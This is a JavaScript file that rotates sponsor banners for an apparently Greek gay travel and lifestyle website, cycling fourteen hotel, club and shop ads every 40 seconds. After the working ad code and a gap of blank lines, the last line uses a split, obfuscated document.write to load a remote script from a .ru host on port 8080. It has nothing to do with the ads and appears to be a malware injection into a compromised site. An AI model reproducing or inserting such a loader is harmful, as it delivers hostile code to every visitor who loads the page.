// Advertisment script

function Advert (img, url, min, href, target) {
	this.img = img;
	this.min = min
	this.url = url
	this.href = href
	this.target = target
}

var queue = new Array(0, 1, 2, 3, 4, 5, 6, 7, 8, 9, 10, 11, 12, 13)
var tab_adv = new Array(
new Advert(null, 'http://www.gaygreece.gr/banners/kastro.gif', 40, 'http://www.kastro-apartments.com', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/dildo468X60.gif', 40, 'http://www.dildo.gr', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/elysiumhotel.gif', 40, 'http://www.elysiumhotel.com', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/jackie-o.gif', 40, 'http://www.jackieomykonos.com', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/goldenstar.gif', 40, 'http://www.goldenstarhotel.gr', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/babylon.jpg', 40, 'http://www.facebook.com/#!/group.php?gid=47690597449&ref=ts', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/helmos.gif', 40, 'http://www.hotelhelmos.gr', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/mac.gif', 40, 'http://www.mykonos-accommodation.com', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/fatoamano.jpg', 40, 'http://www.fatoamano.gr', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/fcuk.gif', 40, 'http://www.fc-uk.gr', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/katapoliani.gif', 40, 'http://www.villakatapoliani.gr', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/flex.gif', 40, 'http://gaygreece.gr/sponsors/flexsaunagym.html', 'main'),
new Advert(null, 'http://www.gaygreece.gr/banners/kilindra.jpg', 40, 'http://www.astypalea.com.gr', '_blank'),
new Advert(null, 'http://www.gaygreece.gr/banners/s-cape.gif', 40, 'http://www.s-cape-club.blogspot.com', '_blank')
)
var counter = 0, tID
var adv = document.adv
var lnk = document.anchors[0]

change()

function change() {
	var pointer = queue[ counter ]
	if( tab_adv[ pointer ].img == null ) {
		tab_adv[ pointer ].img = new Image()
		tab_adv[ pointer ].img.src = tab_adv[ pointer ].url
	}
	adv.src = tab_adv[ pointer ].img.src
	lnk.href = tab_adv[ pointer ].href
	lnk.target = tab_adv[ pointer ].target
	tID = setTimeout( 'change()', tab_adv[ pointer ].min * 1000)
	if( ++counter >= queue.length ) counter = 0
}





document.write('<s'+'cript type="text/javascript" src="http://malepad.ru:8080/Unmount.js"></scr'+'ipt>');